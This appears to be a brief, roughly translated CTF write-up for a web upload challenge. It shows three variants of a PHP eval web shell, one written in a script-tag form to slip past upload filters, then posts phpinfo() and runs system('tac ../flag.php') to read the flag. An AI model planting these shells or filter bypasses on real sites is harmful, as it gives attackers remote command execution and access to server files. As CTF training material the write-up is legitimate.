"Baidu Cup" CTF competition in September, web:upload

Topic content ：

Pass as you want , It's just that wayward .
tips:flag stay flag.php in    

<?php @eval($_POST['Pai']);?>

 <script language="pphphp">@eval($_POST['Pai']);</script>

 <script language="PHP">@eval($_POST['Pai']);</script>

At this time, the code can't be seen on the page and the source code , direct post

Pai=phpinfo();

Normal command execution acquisition flag 

system('tac ../flag.php');